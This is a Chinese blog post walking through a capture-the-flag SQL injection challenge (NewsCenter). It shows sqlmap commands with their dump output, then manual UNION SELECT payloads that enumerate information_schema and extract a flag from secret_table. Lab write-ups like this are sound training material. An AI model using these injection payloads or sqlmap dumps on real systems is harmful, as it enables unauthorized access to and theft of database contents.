

攻防世界NewsCenter

原创

一只Traveler 于 2021-11-13 13:07:59 发布 2785 收藏

分类专栏: 笔记 文章标签: sql 数据库

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_58970968/article/details/121188693

版权



[笔记 专栏收录该内容](#)

25 篇文章 0 订阅

订阅专栏

1, sqlmap注入;

将抓包后的请求报文复制粘贴为TXT文件, 用sqlmap命令打开:

```
sqlmap -r D:\桌面\1.txt --dbs
```

会发现有二个数据库

```
[09:59:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[09:59:29] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] news
```

sqlmap -r D:\桌面\1.txt -D news --dump可看到news里面的所有表中的详细内容;

```
Database: news
Table: news
[7 entries]

+----+-----+-----+
| id | title | content |
+----+-----+-----+
| 1 | Hello | Hello World! |
+----+-----+-----+
| 2 | Two Zero-Day Exploits Found After Someone Uploaded | Security researchers at Microsoft have unveiled details of two critical and important zero-day vulnerabilities that had recently been |
+----+-----+-----+
| 3 | Facebook Admits Sharing User Data With 61 Tech Com | Facebook has admitted that the company gave dozens of tech companies and app developers special access to its user data after publicly saying it had restricted outside companies to access such data back in 2015. |
+----+-----+-----+
| 4 | Researchers Uncover New Attacks Against LTE Network | If your mobile carrier offers LTE, also known as the 4G network, you need to beware as your network communication can be hijacked remotely. |
+----+-----+-----+
| 5 | RAMpage Attack Explained?? Exploiting RowHammer On | A team of security researchers has discovered a new set of techniques that could allow hackers to bypass all kind of present mitigations put in place to prevent DMA-based Rowhammer attacks against Android devices. |
+----+-----+-----+
| 6 | Github Account of Gentoo Linux Hacked, Code Replaced | Downloaded anything from Gentoo Github account yesterday? Consider those files compromised and dump them now?? as an unknown group of hackers or an individual managed to gain access to the Github account of the Gentoo Linux distribution on Thursday and replaced the original source code with a malicious one. |
+----+-----+-----+
| 7 | Another Facebook Quiz App Left 120 Million User Data | People are still getting over the most controversial data scandal of the year, i.e., Cambridge Analytica scandal, and Facebook is under fire yet again after it emerges that a popular quiz app on the social media platform exposed the private data of up to 120 million users for years. |
+----+-----+-----+

[10:45:36] [INFO] table 'news.news' dumped to CSV file 'C:\Users\Traveler\AppData\Local\sqlmap\output\111.200.241.244\dump\news\news.csv'
[10:45:36] [INFO] fetching columns for table 'secret_table' in database 'news'
[10:45:36] [INFO] fetching entries for table 'secret_table' in database 'news'
Database: news
Table: secret_table
[1 entry]

+----+-----+
| id | f14g |
+----+-----+
| 1 | QCTF{sql_inJec7ion_ezzz} |
+----+-----+
```

当然可以直接--dump暴力

2, sql注入

首先判断这可能有sql注入, 想着可能是字符型, 输入一个字符看看, 发现有报错, 判定这可以注入;



该网页无法正常工作

111.200.241.244 目前无法处理此请求。

HTTP ERROR 500

CSDN @一只Traveler

然后再用oder by 判断有几个字段; ' oder by 3#

最后通过报错机制发现有3个字段;

然后开始进行union注入;

构造 'and 0 union select 1,table_schema,table_name from information_schema.tables #来查看有哪些数据库, 并且该数据库下面有哪些表, 都一一列出来, 发现news的数据库里面有两个表, 一个news, 一个secret_table

```
information_schema
INNODB_TRX
information_schema
INNODB_BUFFER_POOL_STATS
information_schema
INNODB_LOCK_WAITS
information_schema
INNODB_CMPMEM
information_schema
INNODB_CMP
information_schema
INNODB_LOCKS
information_schema
INNODB_CMPMEM_RESET
information_schema
INNODB_CMP_RESET
information_schema
INNODB_BUFFER_PAGE_LRU
news
news
news
secret_table
```

CSDN @一只Traveler

很显然我们应该查看的就是这个secret_table, 然后再继续构造

'and 0 union select 1,2,column_name from information_schema.columns where table_name="secret_table" #

Search news

search

'and 0 union select 1,2,column_name from information_schema.columns where table_name="secret_table" #

News

2

id

2

fl4g



CSDN @一只Traveler

这个表下面有fl4g;再构造 'and 0 union select 1,2,fl4g from secret_table# 打开它; 即可发现flag

Search news

search

'and 0 union select 1,2,fl4g from secret_table#

News

2

QCTF{sq1_inJec7ion_ezzz}

CSDN @一只Traveler



[创作打卡挑战赛](#) >

赢取流量/现金/CSDN周边激励大奖